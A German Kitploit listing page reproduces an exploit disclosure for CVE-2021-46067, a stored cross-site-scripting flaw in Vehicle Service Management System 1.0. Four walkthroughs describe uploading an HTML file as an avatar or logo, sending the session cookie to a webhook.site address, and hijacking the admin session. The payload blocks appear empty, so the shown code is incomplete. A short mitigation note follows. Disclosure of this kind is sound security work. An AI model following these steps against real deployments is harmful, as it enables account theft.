Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/sanupl/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubsanupl/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover

Vehicle-Service-Management-System-Multiple-Cookie-Stealing-Leads-to-Full-Account-Takeover

CVE-2021-46067 - Im Vehicle Service Management System 1.0 kann ein Angreifer die Cookies stehlen, was zu einer vollständigen Kontoübernahme führt.

Repository anzeigen
3vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-46067

Exploit Title: Vehicle Service Management System - 'Multiple' Cookie-Diebstahl führt zur vollständigen Kontenübernahme

Exploit Author: SANU P.L

CVE: CVE-2021-46067

CVSS: 9.8 CRITICAL

Referenzen:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46067
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46067

Beschreibung:

In Vehicle Service Management System 1.0 kann ein Angreifer Cookies stehlen, was zur vollständigen Kontenübernahme führt.

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

Exploit:

  1. Melden Sie sich im Admin-Panel http://localhost/vehicle_service/admin an.
  2. Navigieren Sie zum Bereich My Account http://localhost/vehicle_service/admin/?page=user
  3. Generieren Sie die Webhook-URL - https://webhook.site
  4. Kopieren Sie die eindeutige Webhook-URL und fügen Sie sie in den untenstehenden HTML-Code ein.

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. Speichern Sie den obigen HTML-Code, z. B.: Cookie Stealing.html
  2. Geben Sie im Bereich My Account alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Avatar aus.
  3. Klicken Sie auf die Schaltfläche Update.
  4. Öffnen Sie das Avatar-Bild in einem neuen Tab und überprüfen Sie den Webhook-Status.
  5. Wir haben die Anfrage erhalten, sie enthält PHPSESSID.
  6. Kopieren Sie den Wert von PHPSESSID und öffnen Sie einen anderen Browser.
  7. Besuchen Sie das Admin-Panel http://localhost/vehicle_service/admin
  8. Überprüfen Sie die Cookie-Werte und ändern Sie den PHPSESSID-Wert auf den kopierten PHPSESSID-Wert.
  9. Greifen Sie nun auf das Admin-Panel http://localhost/vehicle_service/admin zu.
  10. Erfolgreich am Konto angemeldet. Kontenübernahme erfolgreich.

2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)

Exploit:

  1. Melden Sie sich im Admin-Panel http://localhost/vehicle_service/admin an.
  2. Navigieren Sie zum Bereich User List und klicken Sie auf die Schaltfläche Create New.
  3. Generieren Sie die Webhook-URL - https://webhook.site
  4. Kopieren Sie die eindeutige Webhook-URL und fügen Sie sie in den untenstehenden HTML-Code ein.

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. Speichern Sie den obigen HTML-Code, z. B.: Cookie Stealing.html
  2. Geben Sie im Bereich Create New User alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Avatar aus.
  3. Klicken Sie auf die Schaltfläche Save.
  4. Öffnen Sie das Avatar-Bild in einem neuen Tab und überprüfen Sie den Webhook-Status.
  5. Wir haben die Anfrage erhalten, sie enthält PHPSESSID.
  6. Kopieren Sie den Wert von PHPSESSID und öffnen Sie einen anderen Browser.
  7. Besuchen Sie das Admin-Panel http://localhost/vehicle_service/admin
  8. Überprüfen Sie die Cookie-Werte und ändern Sie den PHPSESSID-Wert auf den kopierten PHPSESSID-Wert.
  9. Greifen Sie nun auf das Admin-Panel http://localhost/vehicle_service/admin zu.
  10. Erfolgreich am Konto angemeldet. Kontenübernahme erfolgreich.

3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)

Exploit:

  1. Melden Sie sich im Admin-Panel http://localhost/vehicle_service/admin an.
  2. Navigieren Sie zum Bereich Settings http://localhost/vehicle_service/admin/?page=system_info
  3. Generieren Sie die Webhook-URL - https://webhook.site
  4. Kopieren Sie die eindeutige Webhook-URL und fügen Sie sie in den untenstehenden HTML-Code ein.

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. Speichern Sie den obigen HTML-Code, z. B.: Cookie Stealing.html
  2. Geben Sie im Bereich Settings alle erforderlichen Details ein und wählen Sie die HTML-Datei unter System Logo aus.
  3. Klicken Sie auf die Schaltfläche Update.
  4. Öffnen Sie das System-Logo-Bild in einem neuen Tab und überprüfen Sie den Webhook-Status.
  5. Wir haben die Anfrage erhalten, sie enthält PHPSESSID.
  6. Kopieren Sie den Wert von PHPSESSID und öffnen Sie einen anderen Browser.
  7. Besuchen Sie das Admin-Panel http://localhost/vehicle_service/admin
  8. Überprüfen Sie die Cookie-Werte und ändern Sie den PHPSESSID-Wert auf den kopierten PHPSESSID-Wert.
  9. Greifen Sie nun auf das Admin-Panel http://localhost/vehicle_service/admin zu.
  10. Erfolgreich am Konto angemeldet. Kontenübernahme erfolgreich.

4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)

Exploit:

  1. Melden Sie sich im Admin-Panel http://localhost/vehicle_service/admin an.
  2. Navigieren Sie zum Bereich Settings http://localhost/vehicle_service/admin/?page=system_info
  3. Generieren Sie die Webhook-URL - https://webhook.site
  4. Kopieren Sie die eindeutige Webhook-URL und fügen Sie sie in den untenstehenden HTML-Code ein.

Payload:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>
  1. Speichern Sie den obigen HTML-Code, z. B.: Cookie Stealing.html
  2. Geben Sie im Bereich Settings alle erforderlichen Details ein und wählen Sie die HTML-Datei unter Website Cover aus.
  3. Klicken Sie auf die Schaltfläche Update.
  4. Öffnen Sie das Website-Cover-Bild in einem neuen Tab und überprüfen Sie den Webhook-Status.
  5. Wir haben die Anfrage erhalten, sie enthält PHPSESSID.
  6. Kopieren Sie den Wert von PHPSESSID und öffnen Sie einen anderen Browser.
  7. Besuchen Sie das Admin-Panel http://localhost/vehicle_service/admin
  8. Überprüfen Sie die Cookie-Werte und ändern Sie den PHPSESSID-Wert auf den kopierten PHPSESSID-Wert.
  9. Greifen Sie nun auf das Admin-Panel http://localhost/vehicle_service/admin zu.
  10. Erfolgreich am Konto angemeldet. Kontenübernahme erfolgreich.

Auswirkungen:

Ein Angreifer lädt eine schädliche HTML-Datei hoch, die zu einer Drittanbieter-Website umleitet, und Cookies werden in der Anfrage offengelegt. Dies führt zur vollständigen Kontenübernahme.

Gegenmaßnahmen:

Es wird empfohlen, die Dateiupload-Funktionalität zu validieren und sekundäre Überprüfungen in der Sitzung durchzuführen.

Tool herunterladen